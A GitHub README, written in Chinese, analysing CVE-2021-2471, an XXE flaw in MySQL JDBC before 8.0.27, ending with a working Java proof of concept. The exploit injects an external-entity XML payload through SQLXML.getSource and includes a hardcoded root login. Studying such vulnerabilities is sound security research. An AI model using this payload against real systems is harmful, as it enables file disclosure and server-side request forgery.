Skip to content

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Readme.md

CVE-2021-2471

By Firebasky

昨天晚上看twitter,发现jdbc出现了一个xxe漏洞,比较感兴趣,阿里给了介绍但是没有给exp。

https://mp.weixin.qq.com/s/erIFMiPNB2XSBJSqXyxuKg

分析

文章中介绍了是getSource函数造成的原因,那我们就需要先找到这个函数的类。漏洞版本是MySQL JDBC 8.0.27版本之前。所以我们创建maven项目并且添加jdbc的组件。https://mvnrepository.com/artifact/mysql/mysql-connector-java/8.0.26

<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.26</version>
</dependency>

全局搜索

然后搜索getSource函数利用(全局搜索)

image-20211022135316052

大概是这个在跟进他的实现。确实是这个。。

image-20211022135425801

对比发现漏洞

如果上面的方法感觉不好,那么可以对比来实现,因为文章中介绍了MySQL JDBC 8.0.27版本之前,说明MySQL JDBC 8.0.27就修复了漏洞,那我们下载MySQL JDBC 8.0.27和MySQL JDBC 8.0.26 来使用工具对比jar包看看不一样的地方是啥。

https://github.com/GraxCode/cafecompare

image-20211022140911655

现在具体看看com.mysql.cj.jdbc.getSource函数

d

我们在看看this.stringRep怎么设置的

image-20211022141453082

然后现在去看看怎么调用这个getSource函数,就去看看他的接口

image-20211022141712911

那么现在问题就是创建一个SQLXML对象就欧克,就可以调用其getSource和setString方法。

https://www.docs4dev.com/docs/zh/java/java8/tutorials/jdbc-basics-sqlxml.html#creating_sqlxml

image-20211022142111106

exp

package CVE;

import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.SQLXML;

public class CVE_2021_2471 {
    public static void main(String[] args) throws SQLException {
        String poc = "<?xml version=\"1.0\" ?>\n" +
                "<!DOCTYPE r [\n" +
                "<!ELEMENT r ANY >\n" +
                "<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n" +
                "]>\n" +
                "<r>&sp;</r>";
        Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root", "0210520");
        SQLXML sqlxml = connection.createSQLXML();
        sqlxml.setString(poc);
        sqlxml.getSource(DOMSource.class);//为了绕过clazz.equals(DOMSource.class)
    }
}

效果

image-20211022142331574